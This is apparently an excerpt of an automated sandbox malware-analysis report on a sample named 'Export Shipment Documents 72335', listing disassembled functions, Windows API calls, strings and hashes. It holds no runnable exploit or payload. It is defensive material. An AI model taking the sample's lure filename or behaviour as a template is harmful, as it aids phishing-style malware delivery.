                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 1663942905-4108050209
                                                                                                                                                                                                          • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                                          • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                                                                                                                          Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1481289235-0
                                                                                                                                                                                                          • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                                          • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                                                                          Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                                                                                                                          • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0046FBAF
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0046FBE2
                                                                                                                                                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                                                                                                                          • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                                                                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                                                                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2632138820-0
                                                                                                                                                                                                          • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                                          • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                                                                                                                          Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                                                                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CursorLoad
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3238433803-0
                                                                                                                                                                                                          • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                                          • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                                                                          Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                                                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                                                                          • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                                                                          • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                                                                          • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                                                                          • String ID: %s%u
                                                                                                                                                                                                          • API String ID: 1899580136-679674701
                                                                                                                                                                                                          • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                                          • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                                                                          Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                                                                                                                          • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                                                                                                                          • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                                                                                                                          • API String ID: 2485709727-934586222
                                                                                                                                                                                                          • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                                          • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                                                                                                                          Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 3381189665-2761332787
                                                                                                                                                                                                          • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                                          • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                                                                                                                          • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                                                                                                                          Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 00434585
                                                                                                                                                                                                          • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                                                                                                                          • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                                                                                                                          • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                                                                          • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                                                                                                                          • String ID: (
                                                                                                                                                                                                          • API String ID: 3300687185-3887548279
                                                                                                                                                                                                          • Opcode ID: f1a61bd92dc1e5bf4a907c179000b9c6a14a2e3466c3eeb116f883cf8bb2fa69
                                                                                                                                                                                                          • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f1a61bd92dc1e5bf4a907c179000b9c6a14a2e3466c3eeb116f883cf8bb2fa69
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                                                                          Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                                                                          • _printf.LIBCMT ref: 0045E595
                                                                                                                                                                                                          • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                                                                          • API String ID: 3590180749-2894483878
                                                                                                                                                                                                          • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                                          • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                                                                                                                          Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                                                                                                                          • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3412594756-0
                                                                                                                                                                                                          • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                                          • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                                                                                                                          Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                          • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                                                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                                                          • API String ID: 4013263488-4113822522
                                                                                                                                                                                                          • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                                          • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                                                                                                                          Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
